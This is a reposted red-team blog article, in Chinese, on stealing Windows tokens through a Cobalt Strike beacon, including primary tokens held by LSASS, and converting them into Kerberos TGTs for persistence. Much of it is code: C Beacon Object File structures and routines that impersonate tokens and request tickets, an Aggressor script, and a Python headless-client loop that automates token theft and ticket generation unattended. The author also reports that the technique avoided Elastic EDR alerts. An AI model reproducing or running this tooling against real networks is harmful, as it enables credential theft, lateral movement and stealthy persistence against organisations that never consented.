监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性

admin 2024年6月27日22:24:04评论2 views字数 8631阅读28分46秒阅读模式

监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性

在最近的一次攻击中,我和我的队友攻陷了一台 Windows 服务器,一些高权限用户正在连接该服务器。我们不想冒险提取凭证,lsass.exe因为 EDR 会检测到我们,所以我们决定滥用 Windows 令牌在网络中横向移动。

我们很快就确定了一个有趣的用户的 Windows 令牌,但该令牌无法使用。第二天,我们很幸运地找到了另一个通过 RDP 连接的高权限用户,我们设法冒充了该用户并代表其生成 Kerberos 票证。

但是,如果用户在我们下班时间连接并注销,情况会怎样?我们就错失良机了。我想到能够定期监控 Windows 令牌的想法,并开始寻找现有的工具。

首先,我建议阅读sensepost上有关 Windows 令牌的文章。

https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/

其次,我不是 Windows 专家,很多关于 Windows 令牌的方面对我来说仍然不清楚,所以如果我遗漏了什么,请给我发消息。

枚举 Windows 令牌

Cobalt Strike 允许操作员列出流程和相关的令牌。

监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性

但是,如果lsass.exe我们不介意打开句柄,那么我们就会错过一些令牌。LSASS 进程为每个使用交互式登录PrimaryToken进行连接(例如本地身份验证或 RDP)的用户 保留一个,所以我希望能够显示和窃取这些令牌。

在 sensepost 博客文章中,附带了一个工具Impersonate,它通过循环所有可用句柄来枚举 Windows 令牌,复制句柄并存储相关的 Windows 令牌。

我重用了代码库来创建 BOF 来枚举所有 Windows 令牌

监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性

能够使用BeaconUseToken(HANDLE token)Cobalt Strike Beacon API 窃取特定的一个。

监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性

这很棒,但我想长期跟踪 Windows 令牌。

将 Windows 令牌存储在 Beacon 内存中

在版本 4.8 中实现了 Windows 令牌存储:(系统)基于Henkru/cs-token-vault BOF的Call Me Maybe 。

然而,该工具仅允许操作员使用进程 ID 窃取 Windows 令牌,因此我们错过了在 LSASS 进程中窃取令牌的机会。

随着 4.9 版的发布:Take Me To Your Loader,添加了几个 Beacon API。

DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);DECLSPEC_IMPORT void * BeaconGetValue(const char * key);DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);

这些 API 允许我们将指针保存在 Beacon 内存中并在稍后检索它们。因此,我使用以下代码创建了一个新存储。

#include <Windows.h>#include "beacon.h"// ...#define TOKEN_STORE_NAME "tokenstore"// ...// structure from sense impersonate original tooltypedef struct _TOKEN {    HANDLE TokenHandle;    int TokenId;    USHORT ProcessId;    DWORD SessionId;    wchar_t Username[FULL_NAME_LENGTH];    wchar_t TokenType[TOKEN_TYPE_LENGTH];    wchar_t TokenImpersonationLevel[TOKEN_IMPERSONATION_LENGTH];    wchar_t TokenIntegrity[TOKEN_INTEGRITY_LENGTH];    struct _TOKEN* Next;} TOKEN, *PTOKEN;void go(char* args, int len){    PTOKEN TokenStore = NULL;    TokenStore = (PTOKEN)BeaconGetValue(TOKEN_STORE_NAME);    // TokenStore exists    if ( TokenStore )        BeaconPrintf(CALLBACK_OUTPUT, "Current TokenStore at 0x%p", TokenStore);    // No TokenStore    else        BeaconPrintf(CALLBACK_OUTPUT, "No TokenStore");    // Add an empty token to the linked list    AddTokenToList(&TokenStore, (TOKEN){ 0 });    // Save the store for the next time    // Save the pointer of the linked list head    BeaconAddValue(TOKEN_STORE_NAME, TokenStore);    return 0;}

通过将新商店实施到模拟 BOF,我得到了这个结果

beacon> help custom-token-storeUse: custom-token-store monitor     custom-token-store show     custom-token-store use [id]     custom-token-store releaseUse 'custom-token-store monitor' to monitor new tokens and store them in the storeUse 'custom-token-store show' to only show the current tokens in the storeUse 'custom-token-store use' to use a token in the storeUse 'custom-token-store release' free the store from Beacon memory

对于该场景,我首先在CRASHsadmin只有唯一连接的用户时监视令牌。

监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性

监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性

稍后,域管理员通过 RDP 连接到服务器,我们再次运行监控。

监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性

监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性

如果我模仿属于的 PrimaryToken CRASHAdministrator。

监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性

然而,我注意到,几分钟后,如果目标用户从其 RDP 会话中退出,我泄露的 Windows 令牌将不再可用。

监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性

与此同时,我还发现了GhostPack/Koh,其目的也是窃取 Windows 令牌。该工具分为两部分:

  • 一个 .NET 工具,即 Koh 服务器,用于监控新的 Windows 令牌并存储它们

  • BOF 是 Koh 客户端,通过命名管道与 Koh 服务器进行交互

在我看来,该工具运行良好,但当目标用户从其 RDP 会话退出时,我遇到了同样的问题:泄露的 Windows 令牌实际上不再可用。

监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性

此外,我想要一个仅保留在 Beacon 内存中并避免 fork&run 后期利用的解决方案。

执行 Kerberos 持久性

我希望有另一种方式来模拟用户,以防我回来工作时属于该用户的 Windows 令牌无法使用。我的想法是使用 TGT 委派技巧为我的 中的每个用户生成 Kerberos 票证custom-token-store。

为此,我使用了Kerberos-BOF的代码并将其集成到另一个使用我的令牌存储的 BOF 中。

对于这个新的 BOF,我使用这个结构来跟踪 Kerberos 票证。

#define TICKET_STORE_NAME "ticketstore"typedef struct _TICKET {    UINT16          TicketId;    ULARGE_INTEGER  Timestamp;    WCHAR           Username[FULL_NAME_LENGTH];    LPSTR           Value;    struct _TICKET* Next;} TICKET, *PTICKET;

我们可以模拟 TokenStore 中的令牌并为用户生成 TGT。

/* * Impersonate a token to generate a TGT ticket */BOOL GenerateTicket(PTOKEN Token, PTICKET Ticket){    if ( Token->TokenHandle && Token->TokenHandle != INVALID_HANDLE_VALUE )    {        // Impersonate the user        if ( BeaconUseToken( Token->TokenHandle ) )        {            // Try to generate the TGT via TGT deleg trick            Ticket->Value = TgtDeleg( NULL );            // Revert back            BeaconRevertToken();            if ( Ticket->Value != NULL )                return TRUE;        }    }    return FALSE;}

使用与之前相同的过程将 Kerberos 票证保存在 中tgtstore。

// Loop over all the tokens in storewhile( CurrentToken ){    // we don't have a valid ticket for this username    if ( !ValidTicketInStore( CurrentToken->Username, TicketStore, Timestamp ) )    {        // We generate a new TGT        if ( GenerateTicket( CurrentToken, &TmpTicket ) )        {            // init the new ticket            MSVCRT$wcscpy_s( TmpTicket.Username, FULL_NAME_LENGTH, CurrentToken->Username );            TmpTicket.Timestamp = Timestamp;            TmpTicket.TicketId = ++LastTicketId;            // add the new ticket to the store            PRINT_OUT( "Add ticket to store (%ls)n", TmpTicket.Username );            AddTicketToStore( &TicketStore, TmpTicket );        }    }    CurrentToken = CurrentToken->Next;}// save the TGT storeBeaconAddValue( TICKET_STORE_NAME, TicketStore );

当我们使用BOF时。

beacon> help tgt-storeUse: tgt-store generate     tgt-store show [id]     tgt-store releaseUse 'tgt-store generate' to generate new TGT based on token in custom-token-storeUse 'tgt-store show' to only show the current TGTs in the store or a specific TGTUse 'tgt-store release' free the store from Beacon memory

监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性

监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性

如果您一直关注本文,您可能已经注意到,监控 Windows 令牌和 Kerberos 票证生成意味着操作员启动 BOF 命令。我们希望在后台甚至在非现场时间执行这些操作。

Cobalt Strike 信标监控

在我的研究过程中,我遇到了利用无头 Cobalt Strike 客户端的CobaltStrike/sleep_python_bridgeagscript

https://github.com/Cobalt-Strike/sleep_python_bridge/

无头客户端允许加载 CNA 并执行攻击者命令。

在 CNA 端,我创建了start-token-monitoring将执行转发到的agressor 命令bstart_monitoring。为了将参数从一个函数/命令转发到另一个函数/命令,我遵循了此博客文章

https://passthehashbrowns.github.io/cobalt-strike-aliases-kinda

sub bstart_monitoring {    @_ = flatten(@_);    $i = 1; #iterator    foreach $arg (@_){ #Loop through all of our args        eval("local('$" . $i . "')") #Declare our variable in the local scope        eval("$$i = "$arg";") #Use eval to dynamically define each of our numbered args        $i++;    }    $bid = $1;    $handle = openf(script_resource("Release/custom-token-store." . barch($bid) . ".o"));    $data   = readb($handle, -1);    closef($handle);    btask($bid, "Start token monitoring");    $arg_data  = bof_pack($bid, "ii", 1, 0);    beacon_inline_execute($bid, $data, "go", $arg_data);}// this is the command we can launch through the Script Consolecommand start-token-monitoring {    // forward the arguments (only the beacon ID here)    bstart_monitoring(@_)}

使用攻击者的方式如下。

监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性

在 Python 脚本方面,第一个 PoC 看起来像这样。

from sleep_python_bridge.striker import CSConnector## Connect to serverprint("[*] Connecting to teamserver {}:{}...".format(args.host, args.port))with CSConnector(    cs_host=args.host,     cs_port="50050",     cs_user=args.username,     cs_pass=args.password,    cs_directory=args.path) as cs:    # include the adequate CNA for token + TGT stores    # WARNING: I faced issue if the CNA path is not absolute    cs.ag_load_script(f"{args.token_store}/custom-token-store.cna")    cs.ag_load_script(f"{args.tgt_store}/tgt-store.cna")    # execute the agressor command `start-token-monitoring`    # in case the command is not launched, print the return value of ag_get_string()    # if the command is not found, check the WARNING above    cs.ag_get_string(monitoring.beacon_id, script_console_command="start-token-monitoring", sleep_time=0)    # execute the agressor command `start-tgt-monitoring`    cs.ag_get_string(monitoring.beacon_id, script_console_command="start-tgt-monitoring")

然后我使用fwkz/riposte来获得一个非常方便的工具,我可以在团队服务器主机上通过 tmux 运行它。

from sleep_python_bridge.striker import CSConnectorfrom argparse import ArgumentParserfrom time import sleepfrom riposte import Ripostefrom prettytable import PrettyTablefrom threading import Threadclass CustomRiposte(Riposte):    def setup_cli(self):        return    def parse_cli_arguments(self):        returncs = Nonecsshell = CustomRiposte(prompt="cobaltstrike> ")monitorings = []class Monitoring:    thread = None    beacon_id = None    running = False    sleep_time = 0    def __init__(self, beacon_id, running, sleep_time):        self.beacon_id = beacon_id        self.running = running        self.sleep_time = sleep_timedef start_cs_monitoring(monitoring):    cs.ag_get_string(f"bsleep({monitoring.beacon_id},{monitoring.sleep_time})")    while monitoring.running:        # token monitor        cs.ag_get_string(monitoring.beacon_id, script_console_command="start-token-monitoring", sleep_time=0)        # tgt generate        cs.ag_get_string(monitoring.beacon_id, script_console_command="start-tgt-monitoring")        sleep(monitoring.sleep_time)@csshell.command("beacons")def list_beacons():    table = PrettyTable(["ID", "USER", "COMPUTER", "PID", "NOTE"])    for beacon in cs.get_beacons():        table.add_row([beacon['id'], beacon['user'], beacon['computer'], beacon['pid'], beacon['note']])    print(table)@csshell.command("start-monitoring")def start_monitoring(beacon_id: str, sleep_time: int):    monitoring = Monitoring(beacon_id=beacon_id, sleep_time=sleep_time, running=True)    t = Thread(target=start_cs_monitoring, args=(monitoring,))    monitoring.thread = t    t.start()    csshell.success("Start a monitoring for beacon {} each {} seconds".format(beacon_id, sleep_time))    monitorings.append(monitoring)@csshell.command("stop-monitoring")def stop_monitoring(beacon_id: str):    for monitoring in monitorings:        if monitoring.beacon_id != beacon_id:            continue        monitoring.running = False        monitoring.thread.join()        csshell.success("Monitoring for beacon {} stopped".format(beacon_id))        monitorings.remove(monitoring)

运行我的脚本看起来像。

您可能已经注意到 BOF 打印了 TGT 的整个值,这是为了在信标因任何原因退出时保持 Kerberos 持久性。

检测

我在运行 Elastic EDR 代理的 Windows Server 2019 上运行了监控工具,没有发出任何警报。

结论

感谢您阅读本文。我目前不打算发布这些工具,但您可以使用本文以及 Impersonate 和 Koh 等工具轻松构建自己的工具。如果我在解释中出现任何问题或错误,请联系我。

Monitor Cobalt Strike beacon for Windows tokens and gain Kerberos persistencehttps://sokarepo.github.io/redteam/2024/04/18/monitor-cobaltstrike-windows-token-kerberos-persistence.html

原文始发于微信公众号(Ots安全):监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月27日22:24:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   监控 Cobalt Strike 信标以获取 Windows 令牌并获得 Kerberos 持久性http://cn-sec.com/archives/2891130.html

发表评论

匿名网友 填写信息